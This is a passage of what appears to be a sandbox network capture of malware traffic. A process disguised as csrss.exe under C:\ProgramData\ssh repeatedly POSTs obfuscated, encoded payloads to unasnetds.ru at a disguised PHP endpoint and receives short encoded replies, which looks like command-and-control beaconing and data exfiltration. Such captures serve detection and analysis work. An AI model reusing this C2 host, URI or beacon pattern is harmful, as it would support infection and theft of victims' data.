Jan 3, 2025 11:48:22.379705906 CET	1040	OUT	Data Raw: 5a 55 5e 59 5d 5c 50 5b 5a 5d 59 57 59 57 5b 5a 5f 54 54 55 50 54 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU^Y]\P[Z]YWYW[Z_TTUPT[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'96S6#V##0$X+Z+85^(/Q& /:P1/=,=* \'%^.
Jan 3, 2025 11:48:22.471736908 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:22.731800079 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=igEGw0cglSHLwElaFhiO0Z43dwtLDoym6HzAVRqCN0ZSHjKElzvfYCggBQo84QgLHTiWZ%2BNQOvY1cHJSXui0yC8SguoVQdhG2TUxdPPxRFP90GXr3sEW1agQsE%2F%2FBQk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a842f7eef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=1947&rtt_var=1106&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=423065&cwnd=133&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	51815	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:23.321182013 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:23.674696922 CET	1040	OUT	Data Raw: 5f 51 5b 59 58 5c 55 5c 5a 5d 59 57 59 5b 5b 54 5f 50 54 5a 50 5c 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q[YX\U\Z]YWY[[T_PTZP\[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'..!,#'$./\(%\?32=S !&((,+> \'%^.4
Jan 3, 2025 11:48:23.789015055 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:23.958580017 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2oeFrdnuVIIdNWpuUL64xT3DY5OdSU3EELVJJOKxhaeHLIaiRtDlH2FSyyBG77o%2FmCN0ooHHv7K%2F0I55UZAklLZZ14rDyayq8lTDlFRdJbI7HvzeG%2FECg7zQa050aCc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a8c6d21439d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3173&min_rtt=1567&rtt_var=3800&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=101269&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	51821	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:24.085748911 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:24.441744089 CET	1040	OUT	Data Raw: 5f 55 5b 58 5d 52 55 58 5a 5d 59 57 59 5b 5b 5b 5f 53 54 5e 50 5b 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _U[X]RUXZ]YWY[[[_ST^P[[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X:Y1"(3V!03^'>$+8"?)'U%="/&<0](/>) \'%^.4
Jan 3, 2025 11:48:24.553958893 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:24.804838896 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rFrECw2n5720q8o8CEHMNMbirM5rt%2BBFKL8kASeSa6hAdTmkcuANNViSrQIJaSoroCoI%2BIU4ZBMzYDij0JAMKalF2RjdqSY4IeEVYIsvW%2Fh7ShINCKrWEJK35kbeg38%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a912e9443c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3326&min_rtt=1531&rtt_var=4165&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=91852&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	51827	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:24.925060987 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:25.285125017 CET	1040	OUT	Data Raw: 5a 56 5b 5c 58 59 50 5c 5a 5d 59 57 59 5a 5b 55 5f 52 54 5c 50 55 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV[\XYP\Z]YWYZ[U_RT\PU[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-,-"'V430-'+()^?)U2."/1%?</%+. \'%^.0
Jan 3, 2025 11:48:25.376245975 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:25.625287056 CET	804	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FCN%2FzxJLk161FmgzkFr1NVr6WHQ8lYF%2F9ZncIjf5A2HF79MJ%2FICXLaJrGrO5U0Ta9w9Bx3Cnkt7C%2FRNWurc0xO3MVd1G3Obh%2Fr20G9MR4eWXQGyzH031aexitz6De6U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a965cdd3354-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1985&min_rtt=1882&rtt_var=913&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=538348&cwnd=113&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	51833	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:25.931921959 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	51834	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:26.008733034 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:26.362260103 CET	1756	OUT	Data Raw: 5f 56 5e 5a 58 5f 55 5b 5a 5d 59 57 59 5b 5b 55 5f 54 54 5c 50 5c 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V^ZX_U[Z]YWY[[U_TT\P\[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Z-/58!#0='>86*: '=:"/9%Y'?>. \'%^.4
Jan 3, 2025 11:48:26.452980995 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:26.732424974 CET	952	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtOB4kxYHoE6ZSDMnDic%2BXMoD5V%2B4qj5o33CMiD8zjefcMk9jN%2BLOOYn%2BxluWTVimWIEBrOl5bHKkoYONRQyS%2BbLv8MfKm2iruCguFZT3iUv4S4ummYoITDYIG5us00%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a9d1d848cca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2132&min_rtt=1994&rtt_var=1025&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=470209&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 58 20 10 2c 01 33 29 2f 55 27 39 39 19 22 51 2a 59 39 39 31 18 27 02 3c 0a 3d 07 27 1c 30 2f 00 06 3d 06 35 56 26 3c 22 01 31 39 2e 59 0d 11 38 17 3f 3f 33 54 29 5f 2b 0e 29 59 3b 1a 30 05 3b 01 29 05 27 5c 3f 0c 20 57 34 2c 22 0b 29 21 32 0d 2b 37 21 5b 29 0b 23 1e 26 1f 2c 5e 0b 12 27 0d 28 0f 03 1c 20 21 18 00 25 5b 3c 05 27 14 2b 55 21 1d 37 0d 25 3b 01 05 2c 32 2d 53 27 27 38 5f 29 16 23 05 34 3b 31 09 3f 2d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98!X ,3)/U'99"Q*Y991'<='0/=5V&<"19.Y8??3T)_+)Y;0;)'\? W4,")!2+7![)#&,^'( !%[<'+U!7%;,2-S''8_)#4;1?-'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	51835	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:26.128374100 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:26.489788055 CET	1040	OUT	Data Raw: 5a 56 5b 5b 5d 59 50 5c 5a 5d 59 57 59 5a 5b 57 5f 57 54 5b 50 55 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV[[]YP\Z]YWYZ[W_WT[PU[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X:Y5"?#[3((;><2>17<!2?<<Y* \'%^.0
Jan 3, 2025 11:48:26.569642067 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:26.831001043 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mwipp0%2Bb8yA4jIPq5LZYABEPg5dKNtdkRWi73mJGzc7ZgwhvawQXDdF1os5UlQxJzo4rBpxTv7BT0lVvmZ8CeQaLhLWZu%2BAofUcrDv78Bn9J8%2BuGCe7dqA7E269p3ag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a9dca818ce8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3393&min_rtt=1981&rtt_var=3568&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=109931&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	51841	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:26.957824945 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:27.315351963 CET	1040	OUT	Data Raw: 5a 5c 5e 59 5d 59 55 5a 5a 5d 59 57 59 5f 5b 56 5f 51 54 5b 50 59 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\^Y]YUZZ]YWY_[V_QT[PY[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',,>V68?R4'Y3=,?%Z<;W&=U#,:U1?+<<&)> \'%^.$
Jan 3, 2025 11:48:27.430008888 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:27.596515894 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0m9xdMINhTfqLuD1VUws%2FgUt8Ql%2Fuy%2BDi%2BrC1kv8h282j8FuppCMFIV4SuhyGiiJcsRkImhk9Y4dvnDHWIo74HWAYfz4udveozdDJnMAvLO2VAVSgLFiUKOQdiJqfCg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26aa32c2f4346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3248&min_rtt=1567&rtt_var=3951&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=97203&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	51847	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:27.725578070 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:28.080991030 CET	1032	OUT	Data Raw: 5f 57 5b 58 58 58 55 5b 5a 5d 59 57 59 5e 5b 50 5f 51 54 5d 50 58 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _W[XXXU[Z]YWY^[P_QT]PX[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Y9,>U"],#3='Y<%<,'==W#/Q&,3(?9+> \'%^.,
Jan 3, 2025 11:48:28.188812017 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:28.452054977 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dkXLxfUUPAtWoJSxSZWX%2Fw5sghzIIypGDeJw2OBHe8E2yegK%2B9vNMX1ybHouo4nWnxuy2fvvfNSi9I0xSwyJLo1w0XUVRpJR1K8hk4PyykPLs2yS%2BSbpcCF0G74AgL4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26aa7ed54728d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4325&min_rtt=2037&rtt_var=5341&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=71755&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	51858	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:28.931688070 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:29.295037031 CET	1040	OUT	Data Raw: 5a 51 5e 5c 58 59 55 5b 5a 5d 59 57 59 5c 5b 56 5f 51 54 58 50 5f 5b 5a 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZQ^\XYU[Z]YWY\[V_QTXP_[ZZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$[.!;W!3+^$>(;6*)$%-!R ?)&?6+> \'%^.(
Jan 3, 2025 11:48:29.394810915 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:29.558830023 CET	807	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oh7BuedXD4J3XEYwXDkl%2BjLAzEu7X1jVP%2FEeuHZbw0dkYJCD4rv%2FvxhybqhlhAb5Zz%2FEKlHdnKJtdRxhAmqK%2Bx%2BcEHqKEDU2vjre9IS05onrwgnqHt7eCSJe%2BF5piUM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26aaf6ef51a2c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7806&min_rtt=1944&rtt_var=12454&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=29889&cwnd=173&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	51862	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:29.694190025 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:30.049742937 CET	1040	OUT	Data Raw: 5a 56 5b 58 5d 58 55 5e 5a 5d 59 57 59 5a 5b 56 5f 5b 54 5d 50 5c 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV[X]XU^Z]YWYZ[V_[T]P\[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$.,"R"+?#U8'-$+;!\<#%) ?-%\=/=) \'%^.0
Jan 3, 2025 11:48:30.145864010 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:30.326767921 CET	795	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nOuNIZlx4VWiyqaIpSBrV9goeKtOXDC5XqioQMc72qHQytYKbj4hPZFAhXxHYPb%2BgQNsgCTSN0QhVWMgadQF3XCnPlwv2J7gAPg54leextYvZXNqicuNr6eEOMSgklg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ab42eff437e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2875&min_rtt=1574&rtt_var=3192&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=121839&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	51867	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:30.457659006 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
